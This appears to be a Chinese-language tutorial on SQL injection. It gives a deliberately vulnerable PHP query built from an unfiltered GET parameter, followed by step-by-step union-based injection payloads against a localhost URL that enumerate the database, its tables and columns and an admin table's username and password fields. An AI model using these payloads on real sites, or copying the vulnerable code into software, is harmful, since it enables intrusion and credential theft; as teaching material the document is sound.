sql注入原理
脚本代码接收来自前端数据未进行过滤,导致恶意sql语句插入到数据库中查询执行。
如下代码:<?php
$id = $_GET['id'];
$sql = "select * from user where id=$id";
.......
$result = mysql_query($sql);
?>
sql注入攻击流程
1.and语法判断是否存在注入点
And 1=1 正确页面
And 1=2 错误页面
http://127.0.0.1:80/index.php?id=1 and 1=1
http://127.0.0.1:80/index.php?id=1 and 1=2
结果:如果以上两条语句都没有引起页面错误,则判断此处存在注入点
2.order by 语句获取查询字段数目
http://127.0.0.1:80/index.php?id=1 order by 5
order by 5 正确 order by 6错误 那么该表存在5个字段数目
3.获取数据库相应信息
Database() :数据库名 fanke
Version() :数据库版本 5.5.40
User() : 数据库用户 root@localhost
@@version_compile_os :操作系统 win32
http://127.0.0.1:80/index.php?id=1 union select User() ,Database(),3,4,5
4.通过数据库名字获取以下信息
要求:Mysql5.0以上版本
Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
table_name:表名
table_schema:数据库名
column_name:列名
information_schema.tables:存储mysql数据库下所有数据库的表名信息的表
information_schema.columns:存储mysql数据库下所有数据库的列名信息的表
http://127.0.0.1:80/index.php?id=1 union select table_name,column_name,2,3,4,5
如果sql版本比较低则用以下方法
3.union 查询猜表名字
http://127.0.0.1:80/index.php?id=1 union select 1,2,3,4,5 from admin
猜测数据库是否存在admin表
4.猜数据库列名字
http://127.0.0.1:80/index.php?id=1 union select 1,username,3,password,5 from admin
猜测数据库是否存在username、password列名字